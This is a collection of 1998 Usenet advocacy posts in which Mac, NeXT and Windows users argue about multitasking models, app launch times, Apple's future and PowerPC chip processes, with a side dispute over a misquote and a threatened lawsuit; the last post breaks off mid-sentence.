>>
>> It isn't as long as you use almost no apps. My normal morning routine on
>> a Unix workstation of any kind is to log in and start working. With
>> xtoolwait managing the queue, just over 20 apps will have been launched
>> 5 minutes later. Yes, I use all of them; it takes this long because many
>> of them load over NFS. Total wait on a Macintosh might even be longer,
>> since there's no way that I know of to schedule processes in userspace
>> the way toolwait does. Meanwhile, I've been productive the last five
>> minutes. If your Mac were present in my environment, it would be painful
>> to use.
>
>5 minutes to load 20 apps? Seems like a long time.
>
>But you can't make a direct comparison between Mac OS and Unix in this
>way. On the Mac, it's easy to be very productive with a smaller number of
>apps. Instead of 20 specialized apps, you use a smaller number of more
>versatile apps.
>
>But, if you insist, put an alias to the most commonly used apps into your
>startup folder. Then, set your Mac to start up 20 minutes before you come
>to work.
>
Let's see Joe - Michael points out that the lack of PMT on the Mac forces you
to work one way rather than another (that might be more efficient), and you
suggest he use the workaround of starting his Mac 20 minutes earlier?
Have you no concern for the environment? Think of that all that extra
electricity consumption will do for global warming :-)
Why doesn't everyone drop this discussion anyway? MacOS-X will definately have
proper multitasking, so it's rather pointless wasting time trying to defend
cooperative multitasking (it has its place, but an operating system kernel
generally isn't it).
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 18:23:06 -0500
Organization: Prairie Group
Message-ID: <MPG.1028195454173173989a36@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com>
In article <6pjgmr$m6i$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> don.brown@cesoft.com (Donald Brown) wrote:
> > You made a mistake. He acted like a jerk. You both are treating the
> > other's misdeeds as capital offenses. Lighten up, dudes!
>
> Jeez this is weird. He mischaracterized what I said, and I'm a jerk for
> being upset. Interesting. His mistake, in and of itself is no big deal.
> But it's not the first time he's done so. And I certainly was getting overly
> annoyed by it; to the point I was serious enough to walk down to the
> courthouse and file the documents. It's pretty clear, I don't like it when
> others mischaracterize what I say. I don't think I'm particualarly strange
> for this. If I said that "Donald Brown really thinks apple and all their
> employees suck" (when you clearly never said any such thing) in a post, and
> it's not true, I'm sure you'd be miffed. If I said things of that nature on
> several occasions I'm sure you'd get pissed. Then again, maybe not, but I
> did.
You're a jerk for blowing it out of proportion, and particularly
threatening legal action. You'd never be able to prove you were damaged,
so you're just blowing smoke. Plus, there's so much crap litigation
going on, including a misstatement on UseNet is just one more part of the
problems.
When Joe mischaracterized what you said, you should have corrected him.
If you think it's just once of several times, say "stop doing that".
When he apologizes and corrects himself, you act like a gentleman and
accept it, and get back to the serious issues like whether mice should
have one, two, or three buttons.
And while nobody has said I think they all suck, in one glorious week I
was called a Microsoft sycophant by one person and told I should rein in
my hatred of Microsoft so I could see the truth he was pushing.
Actually, I found them amusing.
Donald
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: Oldest code in Mac OS-X server?
Date: 28 Jul 1998 10:34:27 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6pk9fj$kll$1@sun27.hrz.tu-darmstadt.de>
References: <6pg6t7$rbn$1@supernews.com>
a lt e n ber@nashville.com (Lee Alte nb erg) wrote:
>This post is mainly for amusement. I was going through my system files to
>see which I had modified and needed to backup to restore my system in case
of
>a crash, and I came across some files in NEXTSTEP 3.3 that dated back to
>1987. Especially interesting is /usr/lib/units from June 2, 1987 . It
gives
>the exchange rate for the Yen as $.0045 and the Ruble as $1.5600. It's
>still there in OpenStep/Mach 4.2. I am curious if /usr/lib/units made it to
>Rhapsody DR2? If anyone can find even older files in RDR2 I'd be fascinated
>to know what they are.
I don't have the time to look for them right now, but I remember a UUCP
related header file (well, maybe it was a readme) that dated way back to
the early, really early, days of the Internet. IIRC, it told you that
before you name your machine, you should look up the names of the other
(around 50) machines connected to the Internet, and chose a unique name.
That was in 3.2 or 3.3, so I'm not sure if it's still around though.
Ah, the good old days. No Spammers. No Compuserfs. No "Make $$$ fast".
<sigh>
Best regards, Chris (who feels somewhat guilty of being a snob)
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 18:28:43 -0500
Organization: Prairie Group
Message-ID: <MPG.10281aa549c5d819989a37@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com> <joe.ragosta-2807980633150001@elk42.dol.net>
In article <joe.ragosta-2807980633150001@elk42.dol.net>,
joe.ragosta@dol.net says...
> In article <6pjh0n$m6i$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> > don.brown@cesoft.com (Donald Brown) wrote:
> > > Check the quote, John. It was "IIRC, John said", IIRC meaning
> > > If I Recall Correctly. When Joe found he was wrong, he retracted
> > > it, and apologized.
> >
> > Yes Don, I know. But if I say "IIRC John Doe was convicted for molesting 35
> > children, and I think he said he likes to do so" (when John Doe clearly has
> > not and does not), the defemation occurs nonetheless; imagine yourself in the
> > place of John Doe; the "IIRC" will not prevent harm from occuring and your
> > reputation from being hurt, perhaps irreprably. The "IIRC" doesn't change
> > that a factual assertion has been made.
>
> It's interesting how you speak out of both sides of your mouth.
>
> In another post, you used an example of a knight who said to someone, "if
> it were the hour of something, I'd kill you". Since it was not the stated
> hour, you said it was not a threat. In other words, "if it were the
> hour...." was a conditional which was false, so the threat didn't exist.
>
> In this particular case, my statement was, "if I remember correctly, John
> Kheit said...". The conditional (if I remember correctly) was apparently
> false, so the rest of the statement is not real and can not be considered.
>
> By your own statements, I'm completely absolved by the conditional "IIRC".
>
> Unless you're going to take the position that a conditional is only
> meaningful if you want it to be meaningful. Which would be a pretty silly
> position.
Speaking of nitpicking and overreacting, Joe (I was speaking so in
another post in this thread),
GIVE IT A REST. The more you justify and tear appart his statements to
say he shouldn't be unhappy, the more you sound like you're justifying
what you did which just ticks John off more.
So, the misstatement happened. You were wrong, you said so. John is
still unhappy, he said so. You and John have now exhausted the subject,
move on.
Donald
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 22:46:32 GMT
Organization: none
Message-ID: <6plkc8$sha$2@server.signat.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au>
<joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
<6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com>
<6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com>
<35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net>
<6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net>
<6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net>
<macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>
<MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com>
<6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
In <35BE3089.76CC988A@ericsson.com> Michael Peck wrote:
> > Do you really feel the minor misattribution Joe made (followed by a swift
and
> > sincere apology), is on an equal plane with being falsely accused of
child
> > molesting?
>
> The apology was nonexistent at the time of the misattribution
Duh. He's supposed to apologize before he realizes he's wrong?
Do you have any idea how foolish you make yourself look talking legalese
about someone else's post?
Maury
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 18:42:23 -0500
Organization: Prairie Group
Message-ID: <MPG.10281dda10ce2579989a3b@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com> <6pjfht$dho$1@nnrp1.dejanews.com>
In article <6pjfht$dho$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
says...
> In article <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Different strokes and all that. The question isn't "which is better",
> > but "how significant is the difference". For most people, almost all of
> > the time, the difference is not significant.
>
> Then why use the Mac OS? Buying a PC and running Windows is significantly
> cheaper than buying a Mac.
Oops, I was unclear. I was talking about the significance of the
difference in Multitasking.
For most Mac users at least, the difference between the platforms is VERY
significant.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 18:46:35 -0500
Organization: Prairie Group
Message-ID: <MPG.10281ed8ce6ac494989a3c@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <joe.ragosta-2807980811130001@wil43.dol.net>
In article <joe.ragosta-2807980811130001@wil43.dol.net>,
joe.ragosta@dol.net says...
> The difference is that when someone threatens to drag in my life outside
> of Usenet, it's a problem.
>
> You may recall an incident where someone wrote to someone's employer about
> what was written in csma. IMO, that was way over the line. Posting in csma
> is a recreation. If you try to drag someone's work into it, you could ruin
> their life.
>
> The same is true of threats to sue. If he sued me, I'd have legal expenses
> to defend myself, not to mention sleeping on the couch for the next few
> years. I'm especially sensitive because people _have_ made an issue of my
> private life at times.
>
Writing to an employer is something that could be done and could have
real ramifications.
Any lawyer stupid enough to take John's case would be wide open for
malicious persecution.
In either case, OK, he was a jerk about threatening to sue and you've
made it clear you don't like that. Your point is made. MOVE ON.
Donald
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 17:53:15 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2807981753150001@pm3a10.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pl2c9$1i5$1@plo.sierra.com>
NNTP-Posting-Date: 28 Jul 1998 23:51:06 GMT
In article <6pl2c9$1i5$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joshua T. McKee wrote in message ...
> >Well, I've shown that Windows 95's implementation of PMT can be blocked
> >too. So, it is not my words that say Windows 95's PMT is bad, it is the
> >very logic used by PC advocates who cry foul when the Macs CMT is
> >blocked. Why does this foul not apply when Windows 95's PMT is blocked?
>
> The difference is that on Win95, the programmer has to try hard to block the
> PMT, and with MacOS, the programmer has to try to not block the CMT. In the
> end, Win95's PMT will be blocked far less than MacOS's CMT.
Well, to a degree you are correct. The difference is in the effort the
programmer has to make in order to ensure co-operation. And I agree, the
programmer on the Mac has a lot more work cut out for him. However, the
discussion focuses around the end user and how they are impacted. To me,
Windows 95's implementation is poor enough and the Mac OS's good enough
where I feel confident to say that the end user really doesn't know the
difference. I say Windows 95's is poor for two reasons:
1. It can be blocked.
2. Window management is done by the individual apps and not the OS. If
the app hangs, the screen display is "frozen". The OS is still
multitasking, but from an end user's point of view, they get the
impression it is hung.
It is the second reason where I feel strongly that Windows 95 (and NT as
well) breaks down. PC advocates are always chiming about how "responsive"
their systems are, but that last reason really cuts deep into that
arguement. My experience using both has led me to believe that to most
end users, the two are just as effective. Windows 95's "PMT" is preferred
in most instances, but is crippled compared to other, much better
implemented PMT OS's.
Remember, this discussion isn't about the merits of CMT vs. PMT or PMT vs.
CMT. It is about the end user experience provided by both. And when it
comes down to it, regardless of how much work the programmer had to do, I
feel that both are very comparable to the end user.
Josh
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 23:54:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ploca$emo$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <35BE09D8.CE1B3A15@earthlink.net> <6plhgk$6h1$1@plo.sierra.com>
"Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
>> Frankly, having followed the MkLinux and LinuxPPC projects,
>> if it took Apple over 2 months to support the already supported
>> pre-G3 models with Mac OS X, it'd be rank incompetence.
>
> That's already been proven. They had to buy Next, since their engineers
> couldn't pull off a modern OS even after spending an awful lot of money
> trying.
That's a little harsh. Copland set almost impossible goals in terms of
modernizing the OS while ensuring almost 100% compatibility with legacy apps
and hardware. And then there was management turmoil and indecision. I
wouldn't say Copland proves much about the competence of Apple _engineers_
per se, although it does say a lot about the competence of Apple as an
_organization_ to pull off a complex task.
Today's Apple is a considerably different organization. So far it's managed to
deliver more than the old Apple.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
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From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 18:00:06 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2807981800070001@pm3a10.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 28 Jul 1998 23:57:58 GMT
In article <6pjrh9$sos$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2707982204590001@pm3a20.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > I guess I just don't see why you can't admit that Windows 95's PMT is just
> > a crippled as the Macs.
>
> Because the Mac OS has no PMT at all and Windows 95 does use PMT for most
> applications?
So the mere fact that one has PMT and the other doesn't is all that
counts? You don't care how well they work in the real world? All that
counts is that one has the buzzword, while the other does not?
> > Part of the definition of PMT is the inability of an application to block
> > the OS.
>
> Please find me a definition of PMT from a respected text or reference work
> that supports your claim. Modern Operating Systems states:
Easy...the very word "Pre-emptive" means that an application should not be
able to block the OS.
> "The strategy of allowing processes that are logically runnable to be
> temporarily suspended is called preemptive sheduling."
What does this have to do with what we're dicussing
> Windows 95 can do this for all Win32 applications.
Yep...but throw in a 16 bit application and everything stops. Not very
"preemptive" in my book.
Or are you going to come back with the "who uses 16 bit applications
anymore" arguement? Doesn't matter...if you pick and choose your
applications correctly on either platform, then it shouldn't be much of an
issue.
> > All the examples you've provided (as well as others) tends to show that
> > the Macs CMT is bad because it can be blocked by various events.
>
> It can be block by any application and, even when all of your applications are
> properly behaved, the scheduling is inefficient because the application must
> decide it's time quantum without the necessary information to make a good
> descision.
And so can Windows 95's "PMT". You're saying that the Mac's CMT is bad
because it can be blocked by an application. Well, by that logic, Windows
95 is bad to as it can be blocked by an application. Maybe not one you're
likely to find, but it still can be blocked.
Likewise, I can't say which is more efficient...depends on your needs.
However, I think the amount of "inefficiency" would be negligable in most
instances. Care to name one where it would make a big difference?
> > Well, I've shown that Windows 95's implementation of PMT can be blocked
> > too. So, it is not my words that say Windows 95's PMT is bad, it is the
> > very logic used by PC advocates who cry foul when the Macs CMT is
> > blocked. Why does this foul not apply when Windows 95's PMT is blocked?
>
> I'm not saying that Window 95 multitasking is good. I'm saying the Mac OS
> multitasking is worse than Windows 95 multitasking.
And I'm not saying that PMT is bad. What I am saying is that from an end
user point of view, the two are very comparable.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 18:05:57 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2807981805580001@pm3a10.rmac.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net>
NNTP-Posting-Date: 29 Jul 1998 00:03:48 GMT
In article <joe.ragosta-2607982033560001@elk91.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > It is very strange Joe, Mac advocates have been championing Apples great
> > backward compatibility as a big feature. Now we're being told it doesn't
> > count for anything?
>
> I wouldn't say it doesn't mean anything. It would be very, very nice if I
> could run Rhapsody on my old IIsi. But it's not going to happen and there
> are other factors I consider more important.
We're not talking about running Mac OS X on a IIsi Joe, we're talking
about running it on very recent hardware which was only recently
discontinued. Combine that with no real reason why this OS couldn't run
on these systems, and it makes it that much worse.
> My point was that both Apple and Microsoft have to obsolete old machines
> at some point.
Systems that are not even 6 months old? What about the PowerBook 1400
series which are still being sold?
Josh
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 19:13:30 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BE692A.308601CF@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au>
<joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
<6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com>
<6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com>
<35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net>
<6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net>
<6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net>
<macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>
<MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com>
<6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com> <6plkc8$sha$2@server.signat.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
>
> Duh. He's supposed to apologize before he realizes he's wrong?
>
> Do you have any idea how foolish you make yourself look talking legalese
> about someone else's post?
No, I don't. Please, Maury, would you tell me?
MJP
Date: Tue, 28 Jul 1998 09:09:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2807980909010001@wil43.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net> <1Tdv1.8362$7k7.11060908@news.rdc1.sdca.home.com>
In article <1Tdv1.8362$7k7.11060908@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <joe.ragosta-2707981114320001@wil47.dol.net> Joe Ragosta wrote:
> > In article <35BC9473.A18302A8@nstar.net>, Michael Peck <mjpeck@nstar.net>
> wrote:
> > 5 minutes to load 20 apps? Seems like a long time.
> >
> > But you can't make a direct comparison between Mac OS and Unix in this
> > way. On the Mac, it's easy to be very productive with a smaller number of
> > apps. Instead of 20 specialized apps, you use a smaller number of more
> > versatile apps.
> >
> > But, if you insist, put an alias to the most commonly used apps into your
> > startup folder. Then, set your Mac to start up 20 minutes before you come
> > to work.
> >
> >
>
> Are you for real? I'm just sure... what do you take the consuming public
> for? A pack of drones? What an oxymoronic solution! Mac's require more
> time to do the same work ± so alot more time. Yeah, right solution, there.
What are you talking about?
He was complaining about the amount of time it takes for a Mac to launch
apps. I just pointed out that you can work around it. What's your problem?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 09:09:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2807980909560001@wil43.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com> <6pjfht$dho$1@nnrp1.dejanews.com>
In article <6pjfht$dho$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Different strokes and all that. The question isn't "which is better",
> > but "how significant is the difference". For most people, almost all of
> > the time, the difference is not significant.
>
> Then why use the Mac OS? Buying a PC and running Windows is significantly
> cheaper than buying a Mac.
Not when you consider the total cost of ownership and not just the money
you saved on Warez.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: Tue, 28 Jul 1998 19:49:28 -0500
Organization: none
Message-ID: <tim-2807981949280001@jump-tnt-0200.customer.jump.net>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkoet$c0d@newsb.netnews.att.com> <6pkqvl$5h0$1@hecate.umd.edu> <6pkvqp$h6j$1@server.signat.org>
In article <6pkvqp$h6j$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
| In <6pkqvl$5h0$1@hecate.umd.edu> David T. Wang wrote:
| > : It is a little odd, yes. The Motorola datasheet lists the older
| > : PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
| > : "0.25 micron 5LM CMOS HiP 3.4".
| >
| > : The IBM datasheet for the older PPC 750s lists
| > : "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
| > : The core voltage is 2.5 - 2.75 V.
| >
| > I'm not sure, but it sounds like that this is just a migration to the
| > "Mach 5" process.
|
| Which is what exactly? Is the Mach5 the .25 process?
"Mach5" was the codename for the 604e processor implemented in the "6X"
process, which is the true 0.25u (drawn).
The original 750 was implemented in the "6S2" process, which is not quite
